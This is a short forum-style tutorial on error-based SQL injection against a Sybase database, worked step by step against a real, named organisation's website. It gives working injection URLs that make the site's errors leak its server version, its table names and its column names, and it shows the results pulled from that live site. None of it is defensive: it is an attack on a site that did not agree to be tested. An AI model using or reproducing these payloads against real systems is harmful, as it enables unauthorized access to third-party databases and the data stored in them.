Sybase sql injection tutorial

I will make a small tutorial on error based sybase sql injection

site link is:
http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630

put a ' at the end and you will see this
Sybase: Server message: Unclosed quote before the character string ' '

now to get the version:

Quote:

PHP Code:

http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert%28integer,@@version%29-- 

so here is the version:

Adaptive Server Enterprise/15.0.1/EBF 13819/P/Sun_svr4/OS 5.8/ase1501/2379/64-bit/FBO/Tue Aug 15 04:20:15 2006
now lets get some tablenames

Quote:

PHP Code:

http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))-- 

second table:

Quote:

PHP Code:

http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name)+from+sysobjects where
type='U' and name!='boardMembers'))-- 

basically keep adding and name!='table name that you get'

here I guess i reach the end of the tables

Quote:

PHP Code:

http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U' and
name!='boardMembers' and name!='events' and name!='galleries' and name!='galleries_photos' and name!='gallery' and name!='gallery_photos' and
name!='newsletters' and name!='newsletters_new' and name!='newsreleases' and name!='offices' and name!='publication_import'and name!='publications' and
name!='publications_new' and name!='radio' and name!='satellites' and name!='titles')) # 

time to get columns..We will get the columns of boardMembers

Quote:

PHP Code:

http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name) from syscolumns where id= (select id from
sysobjects where type='U' and name='gallery')))-- 

column no.1:
city

getting column 2:

Quote:

PHP Code:

http://www.okfarmbureau.org/index.php?action=media.newsdetail&rowid=630+and+1=convert(integer,(select+min(name) from syscolumns where id=
(select id from sysobjects where type='U' and name='gallery' ) and name!='city'))-- 

you get my point just add and name!='column name you get'